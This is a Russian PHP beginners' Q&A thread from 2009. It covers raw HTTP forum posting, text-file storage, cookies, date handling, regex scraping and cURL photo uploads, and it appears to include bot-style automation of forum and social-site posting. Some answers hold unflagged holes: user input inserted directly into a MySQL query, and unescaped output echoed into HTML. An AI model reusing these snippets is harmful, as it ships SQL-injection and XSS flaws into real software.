Просмотр полной версии : [php] Новичкам: задаем вопросы
mailbrush
08.10.2009, 22:53
Омг, это действительно бред =\
Используй HTTP Analyzer, чтобы сниффать пакеты и InetCrack чтобы отсылать их.
Да не гоните на темпер дату... Просто им надо уметь пользоваться ;) Failure, на каком форуме ты такое получил..?!
Epic wave
08.10.2009, 23:58
запарился уже
что за форум ?
$post_data = Array(
'icon' => 0,
'subject' => $subj,
'addbbcode20' => 100,
'helpbox' => 'Совет: Можно быстро применить стили к выделенному тексту.',
'message' => $msg,
'attach_sig' => 'on',
'topic_type' => 0,
'topic_time_limit' => 0,
'post' => 'Отправить',
'filecomment' => '',
'poll_title' => '',
'poll_option_text' => '',
'poll_max_options' => 1,
'poll_length' => 0,
'lastclick' => 1255029837,
'creation_time' => 1255029837,
'form_token' => $sid
);
$post_data = http_build_query($post_data);
$out = "GET http://site.ru/posting.php?mode=post&f=2&sid=".$sid." HTTP/1.1\r\n";
$out .= "Host: site.ru\r\n";
$out .= "Accept-Charset: utf-8;q=0.7\r\n";
$out .= "Content-Type: multipart/form-data\r\n";
$out .= "Cookie: ".$c."\r\n";
$out .= "Content-lenght: ".strlen($post_data)."\r\n\r\n".$post_data."\r\n";
/*
$c = печенье
$sid = securityid
$subj & $msg понятно
*/
то что показал HTTPAnalyzer =\
не создает тему
UPD: ссылку на форум дать не могу соре=\ последняя версия phpbb
$post_data = Array(
'icon' => 0,
'subject' => $subj,
'addbbcode20' => 100,
'helpbox' => 'Совет: Можно быстро применить стили к выделенному тексту.',
'message' => $msg,
'attach_sig' => 'on',
'topic_type' => 0,
'topic_time_limit' => 0,
'post' => 'Отправить',
'filecomment' => '',
'poll_title' => '',
'poll_option_text' => '',
'poll_max_options' => 1,
'poll_length' => 0,
'lastclick' => 1255029837,
'creation_time' => 1255029837,
'form_token' => $sid
);
$post_data = http_build_query($post_data);
$out = "GET http://site.ru/posting.php?mode=post&f=2&sid=".$sid." HTTP/1.1\r\n";
$out .= "Host: site.ru\r\n";
$out .= "Accept-Charset: utf-8;q=0.7\r\n";
$out .= "Content-Type: multipart/form-data\r\n";
$out .= "Cookie: ".$c."\r\n";
$out .= "Content-lenght: ".strlen($post_data)."\r\n\r\n".$post_data."\r\n";
/*
$c = печенье
$sid = securityid
$subj & $msg понятно
*/
то что показал HTTPAnalyzer =\
не создает тему
Выглядит совсем не по феншую :(
Во первых, параметры 'lastclick' => 1255029837, 'creation_time' => 1255029837 скорее всего меняются постоянно, и их нужно парсить каждый раз заново из кода страницы, во вторых ты шлёшь ПОСТ запрос, а в первой строке
$out = "GET ....
+ ещё текст обычно предварительно коируется чем нить типа урлэнкоде...
Epic wave
09.10.2009, 00:17
$post_data = Array(
'icon' => 0,
'subject' => $subj,
'addbbcode20' => 100,
'helpbox' => 'Совет: Можно быстро применить стили к выделенному тексту.',
'message' => $msg,
'attach_sig' => 'on',
'topic_type' => 0,
'topic_time_limit' => 0,
'post' => 'Отправить',
'filecomment' => '',
'poll_title' => '',
'poll_option_text' => '',
'poll_max_options' => 1,
'poll_length' => 0,
'lastclick' => 1255029837,
'creation_time' => 1255029837,
'form_token' => $sid
);
$post_data = http_build_query($post_data);
$out = "GET http://site.ru/posting.php?mode=post&f=2&sid=".$sid." HTTP/1.1\r\n";
$out .= "Host: site.ru\r\n";
$out .= "Accept-Charset: utf-8;q=0.7\r\n";
$out .= "Content-Type: multipart/form-data\r\n";
$out .= "Cookie: ".$c."\r\n";
$out .= "Content-lenght: ".strlen($post_data)."\r\n\r\n".$post_data."\r\n";
/*
$c = печенье
$sid = securityid
$subj & $msg понятно
*/
то что показал HTTPAnalyzer =\
не создает тему
UPD: ссылку на форум дать не могу соре=\ последняя версия phpbb
да уж =/
Во первых, параметры 'lastclick' => 1255029837, 'creation_time' => 1255029837 скорее всего меняются постоянно
неа
во вторых ты шлёшь ПОСТ запрос, а в первой строке
$out = "GET ....
ставишь POST пишет ошибка 411, хотя Content-Lenght указан
+ ещё текст обычно предварительно коируется чем нить типа урлэнкоде...
$post_data = http_build_query($post_data); режит массив та строку типа param1=val1¶m2=val2&... и урленкодит сразу же
неа
Ну знаешь сегодня не меняется, а завтра может измениться... У меня такое бывало.. ;)
ставишь POST пишет ошибка 411, хотя Content-Lenght указан
$out = "GET http://site.ru/posting.php?mode=post&f=2&sid=".$sid." HTTP/1.1\r\n";
То, что выделено красным нужно убрать, оно прописано в следующей строке..)
Один пень, пробовал и так и так, все равно ответ 411
В конце запроса должно быть \r\n\r\n, а не \r\n
Здравствуйте!
Описание:
Есть кучка поддоменов вида некий-поддомен.домен.ру.
При обращении к любому поддомену и основному домену на сервере вызывается файл index.php.
Вопрос:
Как с помощью php узнать Поддомен это или нет?
Заранее благодарен любым ответам!
Здравствуйте!
Описание:
Есть кучка поддоменов вида некий-поддомен.домен.ру.
При обращении к любому поддомену и основному домену на сервере вызывается файл index.php.
Вопрос:
Как с помощью php узнать Поддомен это или нет?
Заранее благодарен любым ответам!
ответ:
<?php
________
0ph.ru
if(preg_match('#(.+)\.(.+)\.ru#',$_SERVER['HTTP_HOST']))
{
echo 'поддомен';
}else{
echo 'домен';
}
?>
нужен скрипт заметка
php, хранились в .txt спс!
с меня ++++:)
mailbrush
09.10.2009, 16:16
ставишь POST пишет ошибка 411, хотя Content-Lenght указан
Content-Length
Подучи английский =\
нужен скрипт заметка
php, хранились в .txt спс!
с меня ++++:)
о_О, что? Объясни конкретнее.
[Dead]Demon
09.10.2009, 16:18
нужен скрипт заметка
php, хранились в .txt спс!
с меня ++++:)
что ты хочешь? не понял
нужен скрипт заметка
php, хранились в .txt спс!
с меня ++++:)
хочешь что бы пхп код из тхт подключался ?
Demon']что ты хочешь? не понял
вожу текст и он хранится в файле .txt и показывает на страничке на форме :rolleyes:
пример
<?
код какой хз
?>
<form action="" method=post>
<textarea rows=3 cols=30 wrap=auto name=a></textarea>
<input type=submit name=submit value=хранить>
</form>
Epic wave
09.10.2009, 17:07
<form action="" method="post" name="frt" >
Сюда вводить:
<input type="text" name="keys">
<input type=submit name=submit value=хранить>
</form>
<?
$filename = 'test.txt';
$somecontent = $_POST['keys'];
// Let's make sure the file exists and is writable first.
if (is_writable($filename)) {
// In our example we're opening $filename in append mode.
// The file pointer is at the bottom of the file hence
// that's where $somecontent will go when we fwrite() it.
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}
// Write $somecontent to our opened file.
if (fwrite($handle, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}
echo "Success, wrote ($somecontent) to file ($filename)";
fclose($handle);
} else {
echo "The file $filename is not writable";
}
?>
Epic wave, не то надо чтоб в форме хранился текс!!!
Epic wave
09.10.2009, 17:13
Epic wave, не то надо чтоб в форме хранился текс!!!
как в форме ? не понимаю тебя.
как в форме ? не понимаю тебя.
<textarea rows=3 cols=30 wrap=auto name=a></textarea>
Epic wave
09.10.2009, 17:16
<textarea rows=3 cols=30 wrap=auto name=a></textarea>
т.е. ты его вводишь и он остается потом заходишь он все там же?
т.е. ты его вводишь и он остается потом заходишь он все там же?
ага и чтоб работали пробелы :rolleyes:
Epic wave
09.10.2009, 17:21
ага и чтоб работали пробелы :rolleyes:
ну если что то простое то сначала пиши в *.txt потом доставай. а если серьезное что-тотогда MySQl прикручивай. я бы MySQl Прикрутил на твоем месте.
ну если что то простое то сначала пиши в *.txt потом доставай. а если серьезное что-тотогда MySQl прикручивай. я бы MySQl Прикрутил на твоем месте.
ты можеш на писать :rolleyes:
2Myload
<?php
$filename = 'test.txt';
$somecontent = $_POST['text'];
if (!$_POST['do'])
{
$array=file($filename);
foreach($array as $somecontent){}
}else{
$handle = fopen($filename, 'a');
fwrite($handle, $somecontent);
fclose($handle);
}
?>
<form action="" method=post>
<textarea name="text" rows=5 cols=20 wrap="off"><?=$somecontent?></textarea>
<br><input type=submit name="do" value=хранить>
</rorm>
________
0ph.ru
imajo.ati
09.10.2009, 17:37
Myload >>>
<?php
$script_charset = 'windows-1251';
$file = './note.txt';
if ( isset($_POST['text']) ) {
$text = (string)@$_POST['text'];
file_put_contents($file,$text);
} else $text = @file_get_contents($file);
?>
<!doctype html>
<html>
<head>
</head>
<body>
<form method="POST" action="">
<textarea cols="45" rows="15" name="text"><?php echo htmlspecialchars($text); ?></textarea>
<br><input type="submit" value="сохранить">
</form>
</body>
</html>
imajo.ati
09.10.2009, 17:38
опередили =)
Epic wave
09.10.2009, 17:40
сама форма
<form action="1.php" method="post"
<textarea rows="3" cols="50" name="text">
<input type="submit" align="center" value="Добавить">
</form>
Добавление 1.php
<?
$link=mysql_connect("localhost", "name","pswd");
if (!link){
die ("error MySQL");}
$database="base";
mysql_select_db($database)or die ("error mySQL");
$t=$_POST['text'];
$query="INSERT INTO spisokvbase (`id`,`text`)
Values ('0','$t')";
?>
вывод
$result = mysql_query("SELECT * FROM `title` LIMIT $offset, $number", $link);
echo $result;
p.s Подставляй свои данные базы и юзай, сразу говорю написал на быструю руку, не проверял. Так что сильно не ругайся
Epic wave
09.10.2009, 17:41
хе-хе, опаздал, у меня пример с MySQl
хе-хе, опаздал, у меня пример с MySQl
сорри ,но на**я ему БД для вывода текста в форму?
лишний гемор.
+ юзай
$id=mysql_insert_id();
а не:
Values ('0','$t')";
если там будет ни одна запись
________
0ph.ru
сорри ,но на***я ему БД для вывода текста в форму?
дык это же круто! лишний раз послать запрос к мускулу не кажддый день можно
Epic wave
09.10.2009, 17:48
сорри ,но на***я ему БД для вывода текста в форму?
по моему логично всё.
ввёл данные, они загрузились в бд при надобности доставать. я согласен, не самое простое решение, но как вариант.
Epic wave
09.10.2009, 17:50
+ юзай
$id=mysql_insert_id();
а не:
Values ('0','$t')";
оке, я ток учусь.
imajo.ati
09.10.2009, 17:57
+ юзай
$id=mysql_insert_id();
а не:
Values ('0','$t')";
зачем?
зачем?
я добавил:
если там будет ни одна запись
не будет же он при каждом инсерте писать:
Values ('0','$t')";
Values ('1','$t')";
Values ('2','$t')";
потому как создавать таблицу для 1-й записи - как то по пид***ки
________
0ph.ru
Epic wave
09.10.2009, 18:02
я добавил:
если там будет ни одна запись
не будет же он при каждом инсерте писать:
Values ('0','$t')";
Values ('1','$t')";
Values ('2','$t')";
потому как создавать таблицу для 1-й записи - как то
по пидарски
в базе автоинкремент
подскажите, как можно вставить фун.
if (isset( $myrow_coments['vid']))
{
echo "$myrow_coments['vid']";
}
в оператор printf
в базе автоинкремент
круто!
mysql_insert_id() возвращает ID, сгенерированный колонкой с AUTO_INCREMENT последним запросом INSERT к серверу.
________
0ph.ru
подскажите, как можно вставить фун.
if (isset( $myrow_coments['vid']))
{
echo "$myrow_coments['vid']";
}
в оператор printf
if (isset( $myrow_coments['vid'])) printf("%s", $myrow_coments['vid']);
Epic wave
09.10.2009, 18:13
круто!
mysql_insert_id() возвращает ID, сгенерированный колонкой с AUTO_INCREMENT последним запросом INSERT к серверу.
учту. спасибо.
if (isset( $myrow_coments['vid'])) printf("%s", $myrow_coments['vid']);
не то!
такой скрипт:
$myrow_coments= mysql_fetch_array($res_coments);//масив значений коментариев
do
{
printf ("
<table class='wallpost'>
<tr>
<td class='image'>
<a href='/id9532829'><img border='0' src='img/b5825536.gif'></a>
</td>
<td class='info'>
<div class='header'><div class='dArrow'></div>
<div style='font-weight: bold;'> %s </div>
<b>написал(а)</b><br />
<small> Дата:%s </small>
</div>
<div class='text' id='wPost68177652' style='width: 315px; overflow: hidden;'> Ответ: %s </div>
<div class='actions'>
<a href='/wall.php?id=22032769&person=9532829'><small>Лично</small></a>
<span class='sdivide'>|</span><a href='ответить автору'>
<small>видят все</small></a><span class='sdivide'>|</span>
</div>
</td>
</tr>
</table>
( и вот если есть переменная $myrow_coments["vid"] тогда выводим
У нас есть видео ответ (и переменная )
"
,$myrow_coments["author"],$myrow_coments["date"],$myrow_coments["text"],$myrow_coments["vid"]);
}
while ($myrow_coments= mysql_fetch_array($res_coments));
не то!
такой скрипт:
$myrow_coments= mysql_fetch_array($res_coments);//масив значений коментариев
do
{
printf ("
<table class='wallpost'>
<tr>
<td class='image'>
<a href='/id9532829'><img border='0' src='img/b5825536.gif'></a>
</td>
<td class='info'>
<div class='header'><div class='dArrow'></div>
<div style='font-weight: bold;'> %s </div>
<b>написал(а)</b><br />
<small> Дата:%s </small>
</div>
<div class='text' id='wPost68177652' style='width: 315px; overflow: hidden;'> Ответ: %s </div>
<div class='actions'>
<a href='/wall.php?id=22032769&person=9532829'><small>Лично</small></a>
<span class='sdivide'>|</span><a href='ответить автору'>
<small>видят все</small></a><span class='sdivide'>|</span>
</div>
</td>
</tr>
</table>
( и вот если есть переменная $myrow_coments["vid"] тогда выводим
У нас есть видео ответ (и переменная )
"
,$myrow_coments["author"],$myrow_coments["date"],$myrow_coments["text"],$myrow_coments["vid"]);
}
while ($myrow_coments= mysql_fetch_array($res_coments));
а зачем обязательно printf? я конечно плохо себе представляю что это будет, но можно сделать вот так например:
<?php
$myrow_coments= mysql_fetch_array($res_coments);//масив значений коментариев
do
{
echo "
<table class='wallpost'>
<tr>
<td class='image'>
<a href='/id9532829'><img border='0' src='img/b5825536.gif'></a>
</td>
<td class='info'>
<div class='header'><div class='dArrow'></div>
<div style='font-weight: bold;'>".$myrow_coments["author"]."</div>
<b>написал(а)</b><br />
<small> Дата:".$myrow_coments["date"]." </small>
</div>
<div class='text' id='wPost68177652' style='width: 315px; overflow: hidden;'> Ответ: ".$myrow_coments["text"]." </div>
<div class='actions'>
<a href='/wall.php?id=22032769&person=9532829'><small>Лично</small></a>
<span class='sdivide'>|</span><a href='ответить автору'>
<small>видят все</small></a><span class='sdivide'>|</span>
</div>
</td>
</tr>
</table>";
if (isset($myrow_coments["vid"])) echo "У нас есть видео ответ ".$myrow_coments["vid"];
}
while ($myrow_coments= mysql_fetch_array($res_coments));
?>
gisTy спасибо, действительно
Nightmarе
09.10.2009, 23:38
Как через функцию SetCookie() установить кукисы на вечное время, или на 10 лет например?
делаю так:
SetCookie("lol","Value",time()+999999999);
Но нифига, при закрытии браузера кукисы исчезают. Как исправить?
Как через функцию SetCookie() установить кукисы на вечное время, или на 10 лет например?
делаю так:
SetCookie("lol","Value",time()+999999999);
Но нифига, при закрытии браузера кукисы исчезают. Как исправить?
у меня в опере остаются, в фф исчезают.
Epic wave
09.10.2009, 23:47
setcookie ("TestCookie", "", time() - 3600); это на час
Epic wave
09.10.2009, 23:49
Как через функцию SetCookie() установить кукисы на вечное время, или на 10 лет например?
делаю так:
SetCookie("lol","Value",time()+999999999);
Но нифига, при закрытии браузера кукисы исчезают. Как исправить?
setcookie ("TestCookie", "", time() - 999999999); попробуй
setcookie ("TestCookie", "", time() - 3600); это на час
мб на час назад?
________
0ph.ru
Epic wave
09.10.2009, 23:52
мб на час назад?
да, точно. там плюс должен быть.
Nightmarе
09.10.2009, 23:54
Не пашут эти способы.
Это случаем не ФайрФокс все куки подряд удаляет?
В документации к функции сказанно:
// send a cookie that expires in 24 hours
setcookie("TestCookie",$value, time()+3600*24);
Но не пашет. Дело в браузере или в чём?
Epic wave
09.10.2009, 23:56
Не пашут эти способы.
Это случаем не ФайрФокс все куки подряд удаляет?
В документации к функции сказанно:
// send a cookie that expires in 24 hours
setcookie("TestCookie",$value, time()+3600*24);
Но не пашет. Дело в браузере или в чём?
попробуй в другом браузере.
Nightmarе
10.10.2009, 00:00
Да нигде не пашет, хоть 2 параметра, хоть третим какое угодно значения. после закрытия - удаляются.
Но не пашет. Дело в браузере или в чём?скорее всего да, попробуй в опере или в ие потестить
кстати.. в ФФ посмотри в Настройки -> Приватность -> Cookies -> Сохранять Cookies
Nightmarе
10.10.2009, 00:06
<?php
if(isset($_COOKIE["lol222"]))
{
echo "Есть ".$_COOKIE["lol222"];
}
else
{
SetCookie("lol222","Value123qwerty");
echo "Нету";
}
?>
После закрытия любого браузера (IE, FF, Opera) кукисы исчезают, даже если в 3 параметр записать разные значения времени, не помогает.
<?php
if(isset($_COOKIE["lol222"]))
{
echo "Есть ".$_COOKIE["lol222"];
}
else
{
SetCookie("lol222","Value123qwerty");
echo "Нету";
}
?>
После закрытия любого браузера (IE, FF, Opera) кукисы исчезают, даже если в 3 параметр записать разные значения времени, не помогает.
если не указывать время действия ,оно по дефолту будет равно времени действий сессий => до первого закрытия браузера.
________
0ph.ru
Nightmarе
10.10.2009, 00:14
Это мне тоже известно, про 3 параметр я уже писал, никакие манипуляции не помогают.
Возможно дело в 4 параметре указания конкретного домэна? Или это не обязательно?
попробу таким образом:
setcookie("name",значение,mktime(0,0,0,01,25,2010));
Nightmarе
10.10.2009, 00:23
угу, пашет. спс
Поскажите как отсортировать массив на директории и файлы ?
$bk = array('index.php', 'dir1', 's.php', 'dir3', 'b.php', 'x.php');
Поскажите как отсортировать массив на директории и файлы ?
$bk = array('index.php', 'dir1', 's.php', 'dir3', 'b.php', 'x.php');
<?php
$files=array();
$folders=array();
$bk = array('index.php', 'dir1', 's.php', 'dir3', 'b.php', 'x.php');
for($i=0;$i<=count($bk);$i++){
if(preg_match('#(.+)\.(.+)#',$bk[$i]))
{
$files[]=$bk[$i];
}else{
$folders[]=$bk[$i];
}
}
?>
$files - массив с файлами
$folders - массив с папками
SultanOFF
10.10.2009, 14:20
здравствуйте. Совсем уж наверно детский вопрос задаю, но все же:
есть форма
<form name="pred" method="get" action="http:super">
<b><font color="#003333">Ляля1:</font></b><br>
<select name="super">
<option value="x1">x1
<option value="x2">x2
<option value="x3">x3
<option value="x4">x4
</select>
<br><br>
<b><font color="#003333">Выберите</font></b><br>
<select name="super">
<option value="w1">w1
<option value="w2">w2
<option value="w3">w3
</select>
<br><br>
<input type="submit" value="Окей">
</form>
эта форма встроенна в dle 8.2. При нажати на окей получаются линки вроде этого site.ru/super?super=x1&super=w2
А Мне нужно чтобы получилось вроде этого site.ru/x1/w2 так как если Я создам в dle категорию x1 и подкатегорию w2 то как раз так и получится. Подскажите пожалуйста как Мне добиться такого эффекта :)
Deathdreams
10.10.2009, 14:49
SultanOFF
ЧПУ настроено?
Deathdreams
10.10.2009, 14:56
SultanOFF
+ Сделай передачу POST методом
#1
<script>
var one = '';
var two = '';
function get(){
one = document.getelementbyid('1').value;
two = document.getelementbyid('2').value;
var form = document.getelementbyid('act').value;
//забыл как на JS изменять HTML содержимое nearHTML вроде, додумаешься кароче
}
</script>
<option onclick='get()' value="w3">w3
#2
<form <span id='act'>action=""</span> name="pred" method="post">
мой вариант говнокода :)
<?php
$files=array();
$folders=array();
$bk = array('index.php', 'dir1', 's.php', 'dir3', 'b.php', 'x.php');
for($i=0;$i<=count($bk);$i++){
if(preg_match('#(.+)\.(.+)#',$bk[$i]))
{
$files[]=$bk[$i];
}else{
$folders[]=$bk[$i];
}
}
?>
$files - массив с файлами
$folders - массив с папками
мда. проверять файл это или папка регуляркой это ты загнул.. тем более, а если я папку назову my.dir она у тебя определится как файл :)
$files=array();
$folders=array();
$bk = array('index.php', 'dir1', 's.php', 'dir3', 'b.php', 'x.php');
foreach($bk as $name)
if(is_dir($name)) $dirs[] = $name;
else if(is_file($name)) $files[] = $name;
else echo "ЭТО ЖЕ ЛИНК!";
wildshaman
10.10.2009, 15:06
2гисти:
$files[] = $name;
мда. проверять файл это или папка регуляркой это ты загнул.. тем более, а если я папку назову my.dir она у тебя определится как файл :)
спс,как то не подумал про встроенные функции.
mailbrush
10.10.2009, 22:07
Сабж, возник вопрос... Есть код $str = '\101\102\103\104';Именно апострофы, а не кавычки используются. Как из этой строки вытянуть строку ABCD?
Vlad&slav
11.10.2009, 02:19
Как мне мой скрипт прально написать а то я новичёк
<?
$dn = date("j")*60*60*24;
$chas = date("G")*60*60;
$min = date("i")*60;
$sec = date("s")*1;
$ndata = $dn + $chas + $min + $sec;
$sdata = file_get_contents("clock.txt");
$delta = $ndata - $sdata;
$time = 60*60*24*3 // лимит 3 дня
if($delta > $time){
// выполняем обновление
$file = fopen("clock.txt","w+");
fwrite($file,$ndata);
fclose($file);
}else{
echo "Обновить базу будет можно только через ".$delta."секунд.";
}
?>
mailbrush, например, так
$str = preg_replace ('/\\\(\d{1,3})/e', 'chr(0\\1)', $str);
Как мне мой скрипт прально написать а то я новичёк
<?
$dn = date("j")*60*60*24;
$chas = date("G")*60*60;
$min = date("i")*60;
$sec = date("s")*1;
$ndata = $dn + $chas + $min + $sec;
$sdata = file_get_contents("clock.txt");
$delta = $ndata - $sdata;
$time = 60*60*24*3 // лимит 3 дня
if($delta > $time){
// выполняем обновление
$file = fopen("clock.txt","w+");
fwrite($file,$ndata);
fclose($file);
}else{
echo "Обновить базу будет можно только через ".$delta."секунд.";
}
?>
я бы сделал так
$data=time();
$oldtime=file("iclock.txt");
if (($oldtime[0]+(60*60*24*3))<$data) // 3 дня
{
// выполняем обновление
$aaa= fopen('iclock.txt', 'w+');
fwrite($aaa,time());
fclose($aaa);
} else {
cho "Обновить базу будет можно только через ".$delta."секунд.";
}
ой т.е
echo "Обновить базу будет можно только через ".($data-$oldtime[0])."секунд.";
UNIX-time: 1255237657
Как перевести в ...
2009:10:11:08:30:36
(год:месяц:день:час:минута:с ек)
echo date ('Y:m:d:H:i:s', 1255237657);
krypt3r, спасибо )
Обратный вопрос:
2009:10:11:08:30:36
(год:месяц:день:час:минута:с ек)
Как перевести в ...
UNIX-time: 1255237657
krypt3r, спасибо )
Обратный вопрос:
2009:10:11:08:30:36
(год:месяц:день:час:минута:с ек)
Как перевести в ...
UNIX-time: 1255237657
http://www.php.su/functions/?date
geforse Более менее универсально так:$date = '2009:10:11:08:30:36';
$date = preg_replace('!^(\d{2,4}):(\d{2}):(\d{2}):(\d{2}:\ d{2}:\d{2})$!','$1-$2-$3 $4',$date);
echo strtotime($date);На невиндосах можно использовать strptime()
mailbrush
11.10.2009, 14:10
$str1 = "\160\160\160";
echo $str1; //выводит ppp
$str2 = '\160\160\160';
Как вывести ppp с помощью $str2? Или что это за тип, это ведь не char, ибо chr(160) не выводит "p".
Gray_Wolf
11.10.2009, 14:45
$str1 = "\160\160\160";
echo $str1; //выводит ppp
$str2 = '\160\160\160';
Как вывести ppp с помощью $str2? Или что это за тип, это ведь не char, ибо chr(160) не выводит "p".
Ну какбы строку
\[0-7]{1,3}
PHP воспринимает как восьмиричное число...
160(8)=112(10)
chr(112)='p';
пишу скрипт голосования и не могу понять как это должно происходить:
ситуация как здесь (http://otvet.mail.ru/question/29665854/)
объясните, как можно вывести лучший ответ в самом верху а все остальные(без лучшего) ниже.
есть для каждого ответа переменная $reyting
никакого кода писать не нужно(что легко даётся, то не запоминается), просто человеческим языком
Есть сайт, с него надо брать контент, выделять некоторую часть, обрабатывать(минимизирова ь и представлять в таблицах) и отдавать в файл. Вопрос: как это лучше всего реализовать(в частности процесс обработки)?
Gray_Wolf
11.10.2009, 15:52
2harom
Ну самый простой вариант, просто при выводе ответы упорядочить по рейтингу, а не по дате.
Ну или добавляем доп. логическое поле в базу "best_solution", и делаем упорядочивание сначала по нему, а потом по дате...
2Genry13 почитайте о регулярных выражениях, они всё сделают за вас.
Обратный вопрос:
2009:10:11:08:30:36
(год:месяц:день:час:минута:с ек)
Как перевести в ...
UNIX-time: 1255237657
mktime (8, 30, 36, 10, 11, 2009);
почитайте о регулярных выражениях, они всё сделают за вас.
Тогда такой вопрос,допустим в исходнике страницы перед каждым блоком, который до я собираюсь вырезать(все блоки с разным содержимым), присутствует:
перед первым - <a href='http://www.google.ru/'>Гугля</a>
перед вторым - <a href='http://www.yandex.ru/'>Яндекс</a>
перед третьим - <a href='http://www.phpfaq.ru/'>ЧаВо</a>
Каждый блок заканчивается одинаковыми тегами, например
</td></table>
Т.о. как задать фильтр, что бы попадать именно на то, что между необходимыми тегами? Можно ли это сделать за один "проход-прорезание", или необходим цикл с несколькими условиями?
Тогда такой вопрос,допустим в исходнике страницы перед каждым блоком, который до я собираюсь вырезать(все блоки с разным содержимым), присутствует:
перед первым - <a href='http://www.google.ru/'>Гугля</a>
перед вторым - <a href='http://www.yandex.ru/'>Яндекс</a>
перед третьим - <a href='http://www.phpfaq.ru/'>ЧаВо</a>
Каждый блок заканчивается одинаковыми тегами, например
</td></table>
Т.о. как задать фильтр, что бы попадать именно на то, что между необходимыми тегами? Можно ли это сделать за один "проход-прорезание", или необходим цикл с несколькими условиями?
регулярные выражения в php, часть 1 (http://phpclub.ru/detail/article/regexp_1)
регулярные выражения в php, часть 2 (http://phpclub.ru/detail/article/regexp_2)
Insane bboy
11.10.2009, 21:26
есть ли у кого нить класс работы с мульти курлом, скиньте пожалуйста ссылку или код, просто очень хочется "многопоточность", а мой попытки кончаются вообще херней какой то... нужно чтоб к примеру, есть 30урл и 30пост запросов и чтоб скрипт слал по 10 запросов потом след 10 и тд... то что я пробывал , писал, вообще путает все запросы и урл:( ...ну на крайней случай скинте нормальный ман по мульти курлу))) ну желательно класс:) чтоб к примеру я задавал число потоков и тд тд:)
zifanchuck
11.10.2009, 21:39
Чето бошка уже не варит. хочу сделать добавления картики в группу. Может ктото делал такое поможет.
Опыта заливки фоток через курл у меня нет, и чето никак не отправляеться, выдает Security Breach2.
Типа как я ето все делал
1. захожу в "добавить фотографию"
2.Выдираю все что нужно
деру так
preg_match_all ('#upload\" action=\"(.*)\"#iU', $result, $regs);
$ssil = $regs[1][0];
preg_match_all ('#name=\"id\" value=\"(.*)\"#iU', $result, $regs);
$id = $regs[1][0];
preg_match_all ('#name=\"mid\" value=\"(.*)\"#iU', $result, $regs);
$mid = $regs[1][0];
preg_match_all ('#name=\"hash\" value=\"(.*)\"#iU', $result, $regs);
$hash = $regs[1][0];
preg_match_all ('#name=\"rhash\" value=\"(.*)\"#iU', $result, $regs);
$rhash = $regs[1][0];
3.потом отправляю запрос курлом
$result = curl($ssil, array(
'act'=>"do_add",
'id'=>$id,
'aid'=>$id,
'gid'=>$i,
'hash'=>$hash,
'vk'=>"",
'rhash'=>$rhash,
'filename'=>"@$foto",
'name'=>'file1'));
сама функция курла
function curl($url,$post)
{
$cfile = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
картинка лежит вместе со скриптом. Надеюсь поможете))
Deathdreams
11.10.2009, 22:18
zifanchuck
Реферер надо передать.
если добрые люди переписать чат на Mysql и добавить функции в чат?
стучите в асю:)
пишу скрипт голосования и не могу понять как это должно происходить:
ситуация как здесь (http://otvet.mail.ru/question/29665854/)
объясните, как можно вывести лучший ответ в самом верху а все остальные(без лучшего) ниже.
есть для каждого ответа переменная $reyting
никакого кода писать не нужно(что легко даётся, то не запоминается), просто человеческим языком
так и не решил вопрос как выводить порядка 15 ответов ниже "лучшего" не включая его самого
zifanchuck
11.10.2009, 23:03
не помогло вставить реферера. по всему контакту скрипты норм работают и без реферера.
вот какие хттп заголовки
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Content-Length: 20229
-----------------------------41184676334
Content-Disposition: form-data; name="act"
do_add
-----------------------------41184676334
Content-Disposition: form-data; name="id"
96688725
-----------------------------41184676334
Content-Disposition: form-data; name="aid"
96688725
-----------------------------41184676334
Content-Disposition: form-data; name="gid"
12019051
-----------------------------41184676334
Content-Disposition: form-data; name="mid"
38387127
-----------------------------41184676334
Content-Disposition: form-data; name="hash"
d92fd39fffc05c83a0d5f52b6cd45312
-----------------------------41184676334
Content-Disposition: form-data; name="vk"
-----------------------------41184676334
Content-Disposition: form-data; name="rhash"
fe1ced45497d9aeff89757bd6ce15824
-----------------------------41184676334
Content-Disposition: form-data; name="file1"; filename="x_c2e3d70e.jpg"
Content-Type: image/jpeg
Правильно ли я отправлял в приведеном више скрипте?
так и не решил вопрос как выводить порядка 15 ответов ниже "лучшего" не включая его самого
$reyting[0]=8;
$reyting[1]=9;
$reyting[2]=3;
$otvet[0]='da';
$otvet[1]='net';
$otvet[2]='neznau';
в цикле анализируем массив $reyting
находим максимальное значение
запоминаем индекс
выводим ответ индекс которого = индексу максимального элемента массив $reyting
в цикле выводим ответы с условием что индекс массива $otvet не равен индексу максимального элемента массив $reyting
)) какой вопрос такой ответ
WVBR почему же... в целом всё понятно))
zifanchuck
12.10.2009, 00:46
люди помогите плизз. уже целый вечер пробую исправить скрипт, результатов 0 ((
пост #12853 и #12857
очень надеюсь на помощь. скорее всего не так формирую пост запрос, но опята в етом нет, надеюсь на помощь...
zifanchuck 'filename' заменить на 'file1', поле 'name' - убрать, добавить поле 'mid'
harom Создать новый ассоциативный массив из двух исходных и отсортировать по желанию. Потом первый элемент (тот который лучший) - удалить. Без кода не так очевидно, так что:
$reyting[0]=8;
$reyting[1]=9;
$reyting[2]=3;
$otvet[0]='da';
$otvet[1]='net';
$otvet[2]='neznau';
$array = array_combine($reyting,$otvet);
krsort($array, SORT_NUMERIC);
// Выводим топовый ответ:
var_dump(array_shift($array));
// Выводим оставшийся массив, уже без первого эл-та
var_dump($array);
Здравстуйте. Как можно сделать отображение списка ссылок на страницы, типа << [1] [2] [3].. >> далее. делаю каталог (mysql). сейчас у меня получилось только это: $sql = mysql_result(mysql_query("select count(*) from $table"),0);
for ($i=0;$i<=$sql-1;$i++)
{
$ix = $i + 1;
if ($id == $i)
{
echo "<a href=$site?id=$i><b>[</b> $ix <b>]</b></a>";
} else { echo "<a href=$site?id=$i>[ $ix ]</a>";}
$ix = $i - 1;
